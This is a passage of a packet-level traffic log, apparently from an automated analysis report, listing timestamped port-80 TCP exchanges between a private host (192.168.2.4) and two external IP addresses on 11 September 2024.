Sep 11, 2024 16:22:19.345689058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.345700026 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.345778942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.345784903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.345794916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.345818043 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.345818043 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.345863104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.345869064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.345879078 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.345884085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.345891953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.345916986 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.345916986 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346052885 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346057892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346067905 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346072912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346079111 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346088886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346095085 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346097946 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346097946 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346101046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346138000 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346173048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346178055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346189022 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346194029 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346199989 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346209049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346209049 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346215010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346220970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346227884 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346230984 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346236944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346246004 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346246004 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346276999 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346276999 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346290112 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346293926 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346323967 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346383095 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346389055 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346399069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346405029 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346410036 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346421957 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346426010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346429110 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346434116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346462965 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346514940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346519947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346535921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346539974 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346544027 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346544027 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346546888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346550941 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346554041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346564054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346570015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346571922 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346575022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346729994 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346735954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346745968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346751928 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346756935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346767902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346772909 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346775055 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346780062 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346792936 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346796989 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346806049 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346829891 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346895933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346901894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346911907 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346918106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346924067 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346934080 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346935034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.346960068 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.346980095 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.347050905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.347054958 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.347064972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.347070932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.347075939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.347086906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.347089052 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.347093105 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.347112894 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.347129107 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.347279072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349365950 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349375963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349381924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349414110 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.349436045 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349441051 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349443913 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.349443913 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.349447012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349452972 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349459887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349473000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349481106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349497080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.349497080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.349534035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349539042 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349570036 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.349570036 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.349811077 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349817038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.349963903 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.350075960 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350081921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350090981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350114107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350120068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350126028 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.350131989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350145102 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350156069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350162029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350162029 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.350178957 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.350193024 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.350224018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350229025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350238085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350248098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350254059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350260973 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.350533962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.350824118 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.350847960 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.353377104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353380919 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353390932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353396893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353404045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353415012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353425980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353431940 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.353431940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353439093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353463888 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.353498936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353503942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353514910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353519917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353539944 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.353563070 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.353615046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353620052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353631020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353636026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353646994 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353651047 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353651047 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.353658915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353665113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353681087 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.353697062 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.353794098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353800058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353810072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353813887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353818893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353826046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353836060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353842020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353842974 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.353857040 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.353868961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353874922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.353892088 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354145050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354150057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354161024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354166031 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354191065 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354207039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354208946 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354214907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354224920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354231119 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354237080 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354253054 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354317904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354322910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354340076 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354341984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354347944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354358912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354363918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354365110 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354374886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354378939 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354393005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354413033 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354418993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354429960 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354434967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354449987 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354465008 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354481936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354487896 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354497910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354501963 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354516983 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354533911 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354564905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354569912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354581118 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354585886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354604006 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354650021 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354681969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354686975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354697943 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354701996 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354713917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354717970 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354718924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354732037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354737997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354737043 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354746103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354753017 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354760885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354763031 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354806900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354818106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354827881 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354835987 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354840040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354846954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354850054 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354851961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354873896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354897976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354902983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354913950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354919910 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354940891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.354984999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.354990005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355000973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355006933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355006933 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.355019093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355022907 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.355045080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.355122089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355128050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355138063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355144024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355149984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355154037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355160952 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355161905 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.355169058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355180979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355184078 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.355202913 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.355417967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:19.355514050 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:19.355993986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.355999947 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356009007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356014013 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356020927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356025934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356038094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356102943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356112957 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356117964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356127977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356134892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356149912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356157064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356162071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356172085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.356204987 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.356204987 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.356463909 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.357851028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.357856035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.357867002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.357896090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.357902050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.357912064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.357930899 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.357930899 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.357969046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.357974052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.357984066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.357990026 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.357997894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358002901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358007908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.358007908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.358038902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358046055 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358069897 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358076096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358076096 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.358076096 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.358153105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358158112 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358167887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358175039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358189106 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.358189106 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.358388901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358453035 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.358453035 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.358971119 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358977079 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358987093 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.358992100 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.359011889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.359021902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.359028101 CEST	80	49734	147.45.44.104	192.168.2.4
